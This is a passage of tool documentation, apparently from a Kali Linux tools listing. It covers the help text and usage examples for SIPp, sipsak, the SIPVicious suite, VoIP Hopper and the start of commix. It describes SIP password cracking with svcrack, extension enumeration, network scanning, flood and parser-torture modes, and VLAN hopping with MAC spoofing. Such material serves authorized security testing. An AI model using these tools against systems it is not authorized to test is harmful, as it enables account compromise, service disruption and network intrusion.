-oocsn          : Load out-of-call scenario.
-skip_rlimit    : Do not perform rlimit tuning of file descriptor limits.
                Default: false.
-slave          : 3pcc extended mode: indicates the slave number
-slave_cfg      : 3pcc extended mode: indicates the file where the master
                and slave addresses are stored
-sn             : Use a default scenario (embedded in the sipp executable).
                If this option is omitted, the Standard SipStone UAC
                scenario is loaded.
      Available values in this version:
                - 'uac'     : Standard SipStone UAC (default).
                - 'uas'     : Simple UAS responder.
                - 'regexp'  : Standard SipStone UAC - with regexp and
                  variables.
                - 'branchc' : Branching and conditional branching in
                  scenarios - client.
                - 'branchs' : Branching and conditional branching in
                  scenarios - server.
    Default 3pcc scenarios (see -3pcc option):
                - '3pcc-C-A' : Controller A side (must be started after
                  all other 3pcc scenarios)
                - '3pcc-C-B' : Controller B side.
                - '3pcc-A'   : A side.
                - '3pcc-B'   : B side.
-stat_delimiter  : Set the delimiter for the statistics file
-stf            : Set the file name to use to dump statistics
-t              : Set the transport mode:
                - u1: UDP with one socket (default),
                - un: UDP with one socket per call,
                - ui: UDP with one socket per IP address The IP
                  addresses must be defined in the injection file.
                - t1: TCP with one socket,
                - tn: TCP with one socket per call,
```

- l1: TLS with one socket,
- ln: TLS with one socket per call,
- s1: SCTP with one socket (default),
- sn: SCTP with one socket per call,
- c1: u1 + compression (only if compression plugin loaded),
- cn: un + compression (only if compression plugin loaded). This plugin is not provided with sipp.

-timeout : Global timeout. Default unit is seconds. If this option is set, SIPp quits after nb units (-timeout 20s quits after 20 seconds).

-timeout_error : SIPp fails if the global timeout is reached is set (-timeout option required).

-timer_resol : Set the timer resolution. Default unit is milliseconds. This option has an impact on timers precision.Small values allow more precise scheduling but impacts CPU usage.If the compression is on, the value is set to 50ms. The default value is 10ms.

-T2 : Global T2-timer in milli seconds

-sendbuffer_warn : Produce warnings instead of errors on SendBuffer failures.

-trace_msg : Displays sent and received SIP messages in <scenario file name>_<pid>_messages.log

-trace_shortmsg : Displays sent and received SIP messages as CSV in <scenario file name>_<pid>_shortmessages.log

-trace_screen : Dump statistic screens in the <scenario_name>_<pid>_screens.log file when quitting SIPp. Useful to get a final status report in background mode (-bg option).

-trace_err : Trace all unexpected messages in <scenario file name>_<pid>_errors.log.

-trace_calldebug : Dumps debugging information about aborted calls to <scenario_name>_<pid>_calldebug.log file.

-trace_stat : Dumps all statistics in <scenario_name>_<pid>.csv file. Use the '-h stat' option for a detailed description of the statistics file content.

-trace_counts : Dumps individual message counts in a CSV file.

-trace_rtt : Allow tracing of all response times in <scenario file name>_<pid>_rtt.csv.

-trace_logs : Allow tracing of <log> actions in <scenario file name>_<pid>_logs.log.

-users : Instead of starting calls at a fixed rate, begin 'users' calls at startup, and keep the number of calls constant.

-watchdog_interval: Set gap between watchdog timer firings. Default is 400.

-watchdog_reset : If the watchdog timer has not fired in more than this time period, then reset the max triggers counters. Default is 10 minutes.

-watchdog_minor_threshold: If it has been longer than this period between watchdog executions count a minor trip. Default is 500.

-watchdog_major_threshold: If it has been longer than this period between watchdog executions count a major trip. Default is 3000.

-watchdog_major_maxtriggers: How many times the major watchdog timer can be tripped before the test is terminated. Default is 10.

-watchdog_minor_maxtriggers: How many times the minor watchdog timer can be tripped before the test is terminated. Default is 120.

-3pcc : Launch the tool in 3pcc mode ("Third Party call control"). The passed ip address is depending on the 3PCC role.
- When the first twin command is 'sendCmd' then this is the address of the remote twin socket. SIPp will try to connect to this address:port to send the twin command

```
                  (This instance must be started after all other 3PCC
                  scenarii).
                    Example: 3PCC-C-A scenario.
                - When the first twin command is 'recvCmd' then this is
                  the address of the local twin socket. SIPp will open
                  this address:port to listen for twin command.
                    Example: 3PCC-C-B scenario.
  -tdmmap         : Generate and handle a table of TDM circuits.
                A circuit must be available for the call to be placed.
                Format: -tdmmap {0-3}{99}{5-8}{1-31}
  -key            : keyword value
                Set the generic parameter named "keyword" to "value".
  -set            : variable value
                Set the global variable parameter named "variable" to
                "value".
  -dynamicStart    : variable value
                Set the start offset of dynamic_id varaiable
  -dynamicMax      : variable value
                Set the maximum of dynamic_id variable
  -dynamicStep     : variable value
                Set the increment of dynamic_id variable
Signal handling:
  SIPp can be controlled using posix signals. The following signals
  are handled:
  USR1: Similar to press 'q' keyboard key. It triggers a soft exit
       of SIPp. No more new calls are placed and all ongoing calls
       are finished before SIPp exits.
       Example: kill -SIGUSR1 732
  USR2: Triggers a dump of all statistics screens in
       <scenario_name>_<pid>_screens.log file. Especially useful
       in background mode to know what the current status is.
       Example: kill -SIGUSR2 732
Exit code:
  Upon exit (on fatal error or when the number of asked calls (-m
  option) is reached, sipp exits with one of the following exit
  code:
   0: All calls were successful
   1: At least one call failed
  97: exit on internal command. Calls may have been processed
  99: Normal exit without calls processed
  -1: Fatal error
  -2: Fatal error binding a socket

Example:
  Run sipp with embedded server (uas) scenario:
    ./sipp -sn uas
  On the same host, run sipp with embedded client (uac) scenario
    ./sipp -sn uac 127.0.0.1
sipp Usage Example

Run sipp using the embedded server (-sn uas) scenario:
root@kali:~# sipp -sn uas
Warning: open file limit > FD_SETSIZE; limiting max. # of open files to FD_SETSIZE = 1024
------------------------------ Scenario Screen -------- [1-9]: Change Screen --
  Port   Total-time  Total-calls  Transport
  5060      11.94 s            0  UDP

  0 new calls during 0.926 s period      1 ms scheduler resolution
  0 calls                            Peak was 0 calls, after 0 s
  0 Running, 2 Paused, 2 Woken up
  0 dead call msg (discarded)
```

```
 3 open sockets

                      Messages  Retrans   Timeout   Unexpected-Msg
----------> INVITE          0        0         0         0

<---------- 180             0        0
<---------- 200             0        0         0
----------> ACK        E-RTD1 0        0         0         0

----------> BYE             0        0         0         0
<---------- 200             0        0
[   4000ms] Pause           0                            0
```

sipsak - SIP swiss army knife
https://sourceforge.net/projects/sipsak.berlios/
sipsak - a utility for various tests on sip servers and user agents
SYNOPSIS
sipsak [-dFGhilLnNMRSTUVvwz] [-a PASSWORD] [-b NUMBER] [-c SIPURI] [-C SIPURI] [-D NUMBER] [-e NUMBER] [-E STRING] [-f FILE] [-g STRING] [-H HOSTNAME] [-l PORT] [-m NUMBER] [-o NUMBER] [-p HOSTNAME] [-P NUMBER] [-q REGEXP] [-r PORT] [-t NUMBER] [-u STRING] [-W NUMBER] [-x NUMBER] -s SIPURI

DESCRIPTION
sipsak is a SIP stress and diagnostics utility. It sends SIP requests to the server within the sip-uri and examines received responses. It runs in one of the following modes:

- default mode
  A SIP message is sent to destination in sip-uri and reply status is displayed. The request is either taken from filename or generated as a new OPTIONS message.
- traceroute mode (-T)
  This mode is useful for learning request's path. It operates similarly to IP-layer utility traceroute(8).
- message mode (-M)
  Sends a short message (similar to SMS from the mobile phones) to a given target. With the option -B the content of the MESSAGE can be set. Usefull might be the options -c and -O in this mode.
- usrloc mode (-U)
  Stress mode for SIP registrar. sipsak keeps registering to a SIP server at high pace. Additionaly the registrar can be stressed with the -I or the -M option. If -I and -M are omitted sipsak can be used to register any given contact (with the -C option) for an account at a registrar and to query the current bindings for an account at a registrar.
- randtrash mode (-R)
  Parser torture mode. sipsak keeps sending randomly corrupted messages to torture a SIP server's parser.
- flood mode (-F)
  Stress mode for SIP servers. sipsak keeps sending requests to a SIP server at high pace.

If libruli (http://www.nongnu.org/ruli/) support is compiled into the sipsak binary, then first a SRV lookup for _sip._udp.hostname is made. And if this lookup fails a normal A lookup is made. If a port was given in the target URI the SRV lookup is omitted. Failover, load distribution and other transports are not supported yet.

OPTIONS

-a, --password PASSWORD
  With the given PASSWORD an authentication will be tryed on received '401 Unauthorized'. Authorization will be tryed on time. If this option is omitted an authorization with an empty password ("") will be tryed. If the password is equal to - the password will be read from the standard input (e.g. the keyboard). This prevents other users on the same host from seeing the password the password in the process list. NOTE: the password still can be read from the memory if other users have access to it.

-A, --timing

prints only the timing values of the test run if verbosity is zero because no -v was given. If one or more -v were given this option will be ignored.

-b, --apendix-begin NUMBER
The starting number which is appended to the user name in the usrloc mode. This NUMBER is increased until it reaches the value given by the -e parameter. If omitted the starting number will be one.

-B, --message-body STRING
The given STRING will be used as the body for outgoing MESSAGE requests.

-c, --from SIPURI
The given SIPURI will be used in the From header if sipsak runs in the message mode (initiated with the -M option). This is helpfull to present the receiver of a MESSAGE a meaningfull and usable address to where maybe even responses can be send.

-C, --contact SIPURI
This is the content of the Contact header in the usrloc mode. This allows to insert forwards like for mail. For example you can insert the uri of your first SIP account at a second account, thus all calls to the second account will be forwarded to the first account. As the argument to this option will not be enclosed in brackets you can give also multiple contacts in the raw format as comma seperated list. The special words empty or none will result in no contact header in the REGISTER request and thus the server should answer with the current bindings for the account at the registrar.

-d, --ignore-redirects
If this option is set all redirects will be ignored. By default without this option received redirects will be respected. This option is automaticly activated in the randtrash mode and in the flood mode.

-D, --timeout-factor NUMBER
The SIP_T1 timer is getting multiplied with the given NUMBER. After receiving a provisional response for an INVITE request, or when a reliable transport like TCP or TLS is used sipsak waits for the resulting amount of time for a final response until it gives up.

-e, --appendix-end NUMBER
The ending number which is appended to the user name in the usrloc mode. This number is increased until it reaches this ending number. In the flood mode this is the maximum number of messages which will be send. If omitted the default value is 2^31 (2147483647) in the flood mode.

-E, --transport STRING
The value of STRING will be used as IP transport for sending and receiving requests and responses. This option overwrites any result from the URI evaluation and SRV lookup. Currently only 'udp' and 'tcp' are accepted as value for STRING.

-f, --filename FILE
The content of FILE will be read in in binary mode and will be used as replacement for the alternatively created sip message. This can used in the default mode to make other requests than OPTIONS requests (e.g. INVITE). By default missing carriage returns in front of line feeds will be inserted (use -L to de-activate this function). If the filename is equal to - the file is read from standard input, e.g. from the keyboard or a pipe. Please note that the manipulation functions (e.g. inserting Via header) are only tested with RFC conform requests. Additionaly special strings within the file can be replaced with some local or given values (see -g and -G for details).

-F, --flood-mode
This options activates the flood mode. In this mode OPTIONS requests with increasing CSeq numbers are sent to the server. Replies are ignored -- source port 9 (discard) of localhost is advertised in topmost Via.

-h, --help
Prints out a simple usage help message. If the long option --help is available it will print out a help message with the available long options.

-g, --replace-string STRING
Activates the replacement of $replace$ within the request (usualy read in from a file) with the STRING. Alternatively you can also specify a list of attribute and values. This list has to start and end with a non alpha-

numeric character. The same character has to be used also as seperator between the attribute and the value and between new further attribute value pairs. The string "$attribute$" will be replaced with the value string in the message.

-G, --replace
Activates the automatic replacement of the following variables in the request (usualy read in from a file): $dsthost$ will be replaced by with the host or domainname which is given by the -s parameter. $srchost$ will be replaced by the hostname of the local machine. $port$ will be replaced by the local listening port of sipsak. $user$ will be replaced by the username which is given by the -s parameter.

-H, --hostname HOSTNAME
Overwrites the automatic detection of the hostname with the given parameter. Warning: use this with caution (preferable only if the automatic detection fails).

-i, --no-via
Deactivates the insertion of the Via line of the localhost. Warning: this probably disables the receiving of the responses from the server.

-I, --invite-mode
Activates the Invites cycles within the usrloc mode. It should be combined with -U. In this combination sipsak first registeres a user, and then simulates an invitation to this user. First an Invite is sent, this is replied with 200 OK and finaly an ACK is sent. This option can also be used without -U , but you should be sure to NOT invite real UAs with this option. In the case of a missing -U the -l PORT is required because only if you made a -U run with a fixed local port before, a run with -I and the same fixed local port can be successful. Warning: sipsak is no real UA and invitations to real UAs can result in unexpected behaivior.

-j, --headers STRING
The string will be added as one or more additional headers to the request. The string "\n" (note: two characters) will be replaced with CRLF and thus result in two seperate headers. That way more then one header can be added.

-l, --local-port PORT
The receiving UDP socket will use the local network port. Useful if a file is given by -f which contains a correct Via line. Check the -S option for details how sipsak sends and receives messages.

-L, --no-crlf
De-activates the insertion of carriage returns (\r) before all line feeds (\n) (which is not allready proceeded by carraige return) if the input is comming from a file (-f). Without this option also an empty line will be appended to the request if required.

-m, --max-forwards NUMBER
This sets the value of the Max-Forward header field. If omitted no Max-Forward field will be inserted. If omitted in the traceroute mode number will be 255.

-M, --message-mode
This activates the Messages cycles within the usrloc mode (known from sipsak versions pre 0.8.0 within the normal usrloc test). This option should be combined with -U so that a succesful registration will be tested with a test message to the user and replied with 200 OK. But this option can also be used without the -U option. Warning: using without -U can cause unexpected behaivor.

-n, --numeric
Instead of the full qualified domain name in the Via line the IP of the local host will be used. This option is now on by default.

-N, --nagios-code
Use Nagios compliant return codes instead of the normal sipsak ones. This means sipsak will return 0 if everything was ok and 2 in case of any error (local or remote).

-o, --sleep NUMBER

sipsak will sleep for NUMBER ms before it starts the next cycle in the usrloc mode. This will slow down the whole test process to be more realistic. Each cycle will be still completed as fast as possible, but the whole test will be slowed down.

-O, --disposition STRING
The given STRING will be used as the content for the Content-Disposition header. Without this option there will be no Content-Disposition header in the request.

-p, --outbound-proxy HOSTNAME[:PORT]
the address of the hostname is the target where the request will be sent to (outgoing proxy). Use this if the destination host is different then the host part of the request uri. The hostname is resolved via DNS SRV if supported (see description for SRV resolving) and no port is given.

-P, --processes NUMBER
Start NUMBER of processes in parallel to do the send and reply checking. Makes only sence if a higher number for -e is given in the usrloc, message or invite mode.

-q, --search REGEXP
match replies against REGEXP and return false if no match occured. Useful for example to detect server name in Server header field.

-r, --remote-port PORT
Instead of the default sip port 5060 the PORT will be used. Alternatively the remote port can be given within the sip uri of the -s parameter.

-R, --random-mode
This activates the randtrash mode. In this mode OPTIONS requests will be send to server with increasing numbers of randomly crashed characters within this request. The position within the request and the replacing character are randomly chosen. Any other response than Bad request (4xx) will stop this mode. Also three unresponded sends will stop this mode. With the -t parameter the maximum of trashed characters can be given.

-s, --sip-uri SIPURI
This mandatory option sets the destination of the request. It depends on the mode if only the server name or also an user name is mandatory. Example for a full SIPURI : sip:test@foo.bar:123 See the note in the description part about SRV lookups for details how the hostname of this URI is converted into an IP and port.

-S, --symmetric
With this option sipsak will use only one port for sending and receiving messages. With this option the local port for sending will be the value from the -l option. In the default mode sipsak sends from a random port and listens on the given port from the -l option. Note: With this option sipsak will not be able to receive replies from servers with asymmetric signaling (and broken rport implementation) like the Cisco proxy. If you run sipsak as root and with raw socket support (check the output from the -V option) then this option is not required because in this case sipsak already uses only one port for sending and receiving messages.

-t, --trash-chars NUMBER
This parameter specifies the maximum of trashed characters in the randtrash mode. If omitted NUMBER will be set to the length of the request.

-T, --traceroute-mode
This activates the traceroute mode. This mode works like the well known traceroute(8) command expect that not the number of network hops are counted rather the number of server on the way to the destination user. Also the round trip time of each request is printed out, but due to a limitation within the sip protocol the identity (IP or name) can only determined and printed out if the response from the server contains a warning header field. In this mode on each outgoing request the value of the Max-Forwards header field is increased, starting with one. The maximum of the Max-Forwards header will 255 if no other value is given by the -m parameter. Any other response than 483 or 1xx are treated as a final response and will terminate this mode.

-u, --auth-username STRING
Use the given STRING as username value for the authentication (different account and authentication username).

-U, --usrloc-mode
This activates the usrloc mode. Without the -I or the -M option, this only registers users at a registrar. With one of the above options the previous registered user will also be probed ether with a simulated call flow (invite, 200, ack) or with an instant message (message, 200). One password for all users accounts within the usrloc test can be given with the -a option. An user name is mandatory for this mode in the -s parameter. The number starting from the -b parameter to the -e parameter is appended the user name. If the -b and the -e parameter are omitted, only one runs with the given username, but without append number to the usernames is done.

-v, --verbose
This parameter increases the output verbosity. No -v means nearly no output except in traceroute and error messages. The maximum of three v's prints out the content of all packets received and sent.

-V, --version
Prints out the name and version number of sipsak and the options which were compiled into the binary.

-w, --extract-ip
Activates the extraction of the IP or hostname from the Warning header field.

-W, --nagios-warn NUMBER
Return Nagios warn exit code (1) if the number of retransmissions before success was above the given number.

-x, --expires NUMBER
Sets the value of the Expires header to the given number.

-z, --remove-bindings
Activates the randomly removing of old bindings in the usrloc mode. How many per cent of the bindings will be removed, is determined by the USRLOC_REMOVE_PERCENT define within the code (set it before compilation). Multiple removing of bindings is possible, and cannot be prevented.

RETURN VALUES
The return value 0 means that a 200 was received. 1 means something else then 1xx or 2xx was received. 2 will be returned on local errors like non resolvable names or wrong options combination. 3 will be returned on remote errors like socket errors (e.g. icmp error), redirects without a contact header or simply no answer (timeout).

If the -N option was given the return code will be 2 in case of any (local or remote) error. 1 in case there have been retransmissions from sipsak to the server. And 0 if there was no error at all.
CAUTION
Use sipsak responsibly. Running it in any of the stress modes puts substantial burden on network and server under test.

EXAMPLES

sipsak -vv -s sip:nobody@foo.bar
displays received replies.
sipsak -T -s sip:nobody@foo.bar
traces SIP path to nobody.
sipsak -U -C sip:me@home -x 3600 -a password -s sip:myself@company
inserts forwarding from work to home for one hour.
sipsak -f bye.sip -g '!FTAG!345.af23!TTAG!1208.12!' -s sip:myproxy
reads the file bye.sip, replaces $FTAG$ with 345.af23 and $TTAG$ with 1208.12 and finally send this message to myproxy

SIPViscious Package: svcrack svcrash svmap svreport svwar
https://github.com/EnableSecurity/sipvicious

svcrack – Online password cracker for SIP PBX
root@kali:~# svcrack -h
Usage: svcrack -u username [options] target
examples:

```
svcrack -u100 -d dictionary.txt 10.0.0.1
svcrack -u100 -r1-9999 -z4 10.0.0.1


Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v, --verbose         Increase verbosity
  -q, --quiet           Quiet mode
  -p PORT, --port=PORT  Destination port or port ranges of the SIP device - eg
                        -p5060,5061,8000-8100
  -P PORT, --localport=PORT
                        Source port for our packets
  -x IP, --externalip=IP
                        IP Address to use as the external ip. Specify this if
                        you have multiple interfaces or if you are behind NAT
  -b BINDINGIP, --bindingip=BINDINGIP
                        By default we bind to all interfaces. This option
                        overrides that and binds to the specified ip address
  -t SELECTTIME, --timeout=SELECTTIME
                        This option allows you to trottle the speed at which
                        packets are sent. Change this if you're losing
                        packets. For example try 0.5.
  -R, --reportback      Send the author an exception traceback. Currently
                        sends the command line parameters and the traceback
  -A, --autogetip       Automatically get the current IP address. This is
                        useful when you are not getting any responses back due
                        to SIPVicious not resolving your local IP.
  -s NAME, --save=NAME  save the session. Has the benefit of allowing you to
                        resume a previous scan and allows you to export scans
  --resume=NAME         resume a previous scan
  -c, --enablecompact   enable compact mode. Makes packets smaller but
                        possibly less compatible
  -u USERNAME, --username=USERNAME
                        username to try crack
  -d DICTIONARY, --dictionary=DICTIONARY
                        specify a dictionary file with passwords
  -r RANGE, --range=RANGE
                        specify a range of numbers. example:
                        100-200,300-310,400
  -e EXTENSION, --extension=EXTENSION
                        Extension to crack. Only specify this when the
                        extension is different from the username.
  -z PADDING, --zeropadding=PADDING
                        the number of zeros used to padd the password.
                        the options "-r 1-9999 -z 4" would give 0001 0002 0003
                        ... 9999
  -n, --reusenonce      Reuse nonce. Some SIP devices don't mind you reusing
                        the nonce (making them vulnerable to replay attacks).
                        Speeds up the cracking.
  -T TEMPLATE, --template=TEMPLATE
                        A format string which allows us to specify a template
                        for the extensions                      example
                        svwar.py -e 1-999 --template="123%#04i999" would scan
                        between 1230001999 to 1230999999"
  --maximumtime=MAXIMUMTIME
                        Maximum time in seconds to keep sending requests
                        without                     receiving a response
                        back
  -D, --enabledefaults  Scan for default / typical passwords such as
                        1000,2000,3000 ... 1100, etc. This option is off by
```

```
                default.                    Use --enabledefaults to
                enable this functionality
  --domain=DOMAIN       force a specific domain name for the SIP message, eg.
                -d example.org
```

svcrash – Attempts to stop unauthorized svwar and svcrack scans
WARNING: No route found for IPv6 destination :: (no default route?)
Usage: svcrash [options]

```
Options:
  --version        show program's version number and exit
  -h, --help       show this help message and exit
  --auto           Automatically send responses to attacks
  --astlog=ASTLOG  Path for the asterisk full logfile
  -d IPADDR        specify attacker's ip address
  -p PORT          specify attacker's port
  -b               bruteforce the attacker's port
```

svreport – Manages sessions and exports reports to various formats
Usage: svreport [command] [options]

```
Supported commands:
            - list: lists all scans
            - export:   exports the given scan to a given format
            - delete:   deletes the scan
            - stats:    print out some statistics of interest
            - search:   search for a specific string in the user agent (svmap)

examples:
    svreport.py list
    svreport.py export -f pdf -o scan1.pdf -s scan1
    svreport.py delete -s scan1

Options:
  --version            show program's version number and exit
  -h, --help           show this help message and exit
  -v, --verbose        Increase verbosity
  -q, --quiet          Quiet mode
  -t SESSIONTYPE, --type=SESSIONTYPE
                Type of session. This is usually either svmap, svwar
                or svcrack. If not set I will try to find the best
                match
  -s SESSION, --session=SESSION
                Name of the session
  -f FORMAT, --format=FORMAT
                Format type. Can be stdout, pdf, xml, csv or txt
  -o OUTPUTFILE, --output=OUTPUTFILE
                Output filename
  -n                Do not resolve the ip address
  -c, --count          Used togather with 'list' command to count the number
                of entries
```

svmap – Lists SIP devices found on an IP range
Usage: svmap [options] host1 host2 hostrange
Scans for SIP devices on a given network

```
examples:
svmap 10.0.0.1-10.0.0.255 172.16.131.1 sipvicious.org/22 10.0.1.1/241.1.1.1-20 1.1.2-20.* 4.1.*.*
svmap -s session1 --randomize 10.0.0.1/8
svmap --resume session1 -v
svmap -p5060-5062 10.0.0.3-20 -m INVITE
```

```
Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v, --verbose         Increase verbosity
  -q, --quiet           Quiet mode
  -p PORT, --port=PORT  Destination port or port ranges of the SIP device - eg
                        -p5060,5061,8000-8100
  -P PORT, --localport=PORT
                        Source port for our packets
  -x IP, --externalip=IP
                        IP Address to use as the external ip. Specify this if
                        you have multiple interfaces or if you are behind NAT
  -b BINDINGIP, --bindingip=BINDINGIP
                        By default we bind to all interfaces. This option
                        overrides that and binds to the specified ip address
  -t SELECTTIME, --timeout=SELECTTIME
                        This option allows you to trottle the speed at which
                        packets are sent. Change this if you're losing
                        packets. For example try 0.5.
  -R, --reportback      Send the author an exception traceback. Currently
                        sends the command line parameters and the traceback
  -A, --autogetip       Automatically get the current IP address. This is
                        useful when you are not getting any responses back due
                        to SIPVicious not resolving your local IP.
  -s NAME, --save=NAME  save the session. Has the benefit of allowing you to
                        resume a previous scan and allows you to export scans
  --resume=NAME         resume a previous scan
  -c, --enablecompact   enable compact mode. Makes packets smaller but
                        possibly less compatible
  --randomscan          Scan random IP addresses
  -i scan1, --input=scan1
                        Scan IPs which were found in a previous scan. Pass the
                        session name as the argument
  -I scan1, --inputtext=scan1
                        Scan IPs from a text file - use the same syntax as
                        command line but with new lines instead of commas.
                        Pass the file name as the argument
  -m METHOD, --method=METHOD
                        Specify the request method - by default this is
                        OPTIONS.
  -d, --debug           Print SIP messages received
  --first=FIRST         Only send the first given number of messages (i.e.
                        usually used to scan only X IPs)
  -e EXTENSION, --extension=EXTENSION
                        Specify an extension - by default this is not set
  --randomize           Randomize scanning instead of scanning consecutive ip
                        addresses
  --srv                 Scan the SRV records for SIP on the destination domain
                        name.The targets have to be domain names - example.org
                        domain1.com
  --fromname=FROMNAME   specify a name for the from header
```

svmap Usage Example

Scan the given network range (192.168.1.0/24) and display verbose output (-v):

```
root@kali:~# svmap 192.168.1.0/24 -v
INFO:DrinkOrSip:trying to get self ip .. might take a while
INFO:root:start your engines
```

INFO:DrinkOrSip:Looks like we received a SIP request from 192.168.1.202:5060
INFO:DrinkOrSip:Looks like we received a SIP request from 192.168.1.202:5060
INFO:DrinkOrSip:Looks like we received a SIP request from 192.168.1.202:5060

svwar – Identifies active extensions on a PBX
Usage: svwar [options] target
examples:
svwar -e100-999 10.0.0.1
svwar -d dictionary.txt 10.0.0.2

Options:
```
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v, --verbose         Increase verbosity
  -q, --quiet           Quiet mode
  -p PORT, --port=PORT  Destination port or port ranges of the SIP device - eg
                        -p5060,5061,8000-8100
  -P PORT, --localport=PORT
                        Source port for our packets
  -x IP, --externalip=IP
                        IP Address to use as the external ip. Specify this if
                        you have multiple interfaces or if you are behind NAT
  -b BINDINGIP, --bindingip=BINDINGIP
                        By default we bind to all interfaces. This option
                        overrides that and binds to the specified ip address
  -t SELECTTIME, --timeout=SELECTTIME
                        This option allows you to trottle the speed at which
                        packets are sent. Change this if you're losing
                        packets. For example try 0.5.
  -R, --reportback      Send the author an exception traceback. Currently
                        sends the command line parameters and the traceback
  -A, --autogetip       Automatically get the current IP address. This is
                        useful when you are not getting any responses back due
                        to SIPVicious not resolving your local IP.
  -s NAME, --save=NAME  save the session. Has the benefit of allowing you to
                        resume a previous scan and allows you to export scans
  --resume=NAME         resume a previous scan
  -c, --enablecompact   enable compact mode. Makes packets smaller but
                        possibly less compatible
  -d DICTIONARY, --dictionary=DICTIONARY
                        specify a dictionary file with possible extension
                        names
  -m OPTIONS, --method=OPTIONS
                        specify a request method. The default is REGISTER.
                        Other possible methods are OPTIONS and INVITE
  -e RANGE, --extensions=RANGE
                        specify an extension or extension range  example: -e
                        100-999,1000-1500,9999
  -z PADDING, --zeropadding=PADDING
                        the number of zeros used to padd the username.
                        the options "-e 1-9999 -z 4" would give 0001 0002 0003
                        ... 9999
  --force               Force scan, ignoring initial sanity checks.
  -T TEMPLATE, --template=TEMPLATE
                        A format string which allows us to specify a template
                        for the extensions                      example
                        svwar.py -e 1-999 --template="123%#04i999" would scan
                        between 1230001999 to 1230999999"
  -D, --enabledefaults  Scan for default / typical extensions such as
                        1000,2000,3000 ... 1100, etc. This option is off by
```

default. Use --enabledefaults to
enable this functionality
--maximumtime=MAXIMUMTIME
Maximum time in seconds to keep sending requests
without receiving a response
back
--domain=DOMAIN force a specific domain name for the SIP message, eg.
-d example.org
--debug Print SIP messages received

viphopper - http://voiphopper.sourceforge.net/

Rapidly runs a VLAN Hop into the Voice VLAN on specific ethernet switches. VoIP Hopper does this by mimicking the behavior of an IP Phone, in Cisco, Avaya, Nortel, and Alcatel-Lucent environments. This requires two important steps in order for the tool to traverse VLANs for unauthorized access. First, discovery of the correct 12 bit Voice VLAN ID (VVID) used by the IP Phones is required. VoIP Hopper supports multiple protocol discovery methods (CDP, DHCP, LLDP-MED, 802.1q ARP) for this important first step. Second, the tool creates a virtual VoIP ethernet interface on the OS. It then inserts a spoofed 4-byte 802.1q vlan header containing the 12 bit VVID into a spoofed DHCP request. Once it receives an IP address in the VoIP VLAN subnet, all subsequent ethernet frames are “tagged” with the spoofed 802.1q header. VoIP Hopper is a VLAN Hop test tool but also a tool to test VoIP infrastructure security.

voiphopper -h
VoIP Hopper Extended Usage:

Miscellaneous Options:
-l (list available interfaces for CDP sniffing, then exit)
Example: voiphopper -l
-m (Spoof the MAC Address, then exit)
Example: voiphopper -i eth0 -m 00:07:0E:EA:50:86
-d (Delete the VLAN Interface, then exit)
Example: voiphopper -d eth0.200
-V (Print the VoIP Hopper version, then exit)
Example: voiphopper -V

MAC Address Spoofing Options (used with -a, -v, or -c options):
-m (Spoof the MAC Address of existing interface, and new Interface)
-D -m (Spoof the MAC Address of only new Voice Interface)
Example: voiphopper -i eth0 -m 00:07:0E:EA:50:86
Example: voiphopper -i eth0 -D -m 00:07:0E:EA:50:86

CDP Sniff Mode (-c 0)
Example: voiphopper -i eth0 -c 0

CDP Spoof Mode (-c 1):
-E <string> (Device ID)
-P <string> (Port ID)
-C <string> (Capabilities)
-L <string> (Platform)
-S <string> (Software)
-U <string> (Duplex)

Example Usage for SIP Firmware Phone:
voiphopper -i eth0 -c 1 -E 'SIP00070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S 'P003-08-8-00' -U 1

Example Usage for SCCP Firmware Phone:
voiphopper -i eth0 -c 1 -E 'SEP0070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S 'P00308000700' -U 1

Example Usage for Phone with MAC Spoofing:
voiphopper -i eth0 -m 00:07:0E:EA:50:86 -c 1 -E 'SEP00070EEA5086' -P 'Port 1' -C Host -L 'Cisco IP Phone 7940' -S 'P003-08-8-00' -U 1

Avaya DHCP Option Mode (-a):
   Example: voiphopper -i eth0 -a
   Example: voiphopper -i eth0 -a -m 00:07:0E:EA:50:86

VLAN Hop Mode (-v VLAN ID):
   Example: voiphopper -i eth0 -v 200
   Example: voiphopper -i eth0 -v 200 -D -m 00:07:0E:EA:50:86

Alcatel VLAN Discovery (-t 0|1|2):
   Example: voiphopper -i eth0 -t 0
   Example: voiphopper -i eth0 -t 1
   Example: voiphopper -i eth0 -t 0 -m 00:80:9f:ad:42:42
   Example: voiphopper -i eth0 -t 1 -m 00:80:9f:ad:42:42
   Example: voiphopper -i eth0 -t 2 -v 800
   Example: voiphopper -i eth0 -t 2 -v 800 -m 00:80:9f:ad:42:42
voiphopper Usage Example
root@kali:~# voiphopper -i eth0 -z
VoIP Hopper assessment mode ~ Select 'q' to quit and 'h' for help menu.
Main Sniffer: capturing packets on eth0
a
Analyzing ARP packets on default interface: eth0
New host #1 learned on eth0: (MAC): 78:ca:39:fe:0b:4c   (IP): 192.168.1.229
New host #2 learned on eth0: (MAC): 60:6b:bd:5a:b6:6c   (IP): 192.168.1.213
New host #3 learned on eth0: (MAC): 40:6c:8f:1b:cb:90   (IP): 192.168.1.232
a
Disabling analysis of ARP packets on default interface: eth0

3. The Web Application Analysis menu

Main Menu

Burpsuite - this needs it's own dedicated overview
http://portswigger.net/burp/
Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.
Burp gives you full control, letting you combine advanced manual techniques with state-of-the-art automation, to make your work faster, more effective, and more fun.

commix [comm]and [i]njection e[x]ploiter - https://github.com/stasinopoulos/commix
root@kali:~# commix
Automated All-in-One OS Command Injection and Exploitation Tool
  General:
    These options relate to general matters.
    --verbose   Enable the verbose mode.
    --version   Show version number and exit.
    --output-dir=OUT.. Set custom output directory path.
  Target:
    This options has to be provided, to define the target URL.
    --url=URL   Target URL.
    --url-reload   Reload target URL after command execution.

  Request:
    These options can be used to specify how to connect to the target URL.

    --host=HOST   HTTP Host header.
    --referer=REFERER HTTP Referer header.
    --user-agent=AGENT HTTP User-Agent header.
    --random-agent   Use a randomly selected HTTP User-Agent header.

```
  --param-del=PDEL    Set character for splitting parameter values.
  --cookie=COOKIE     HTTP Cookie header.
  --cookie-del=CDEL   Set character for splitting cookie values.
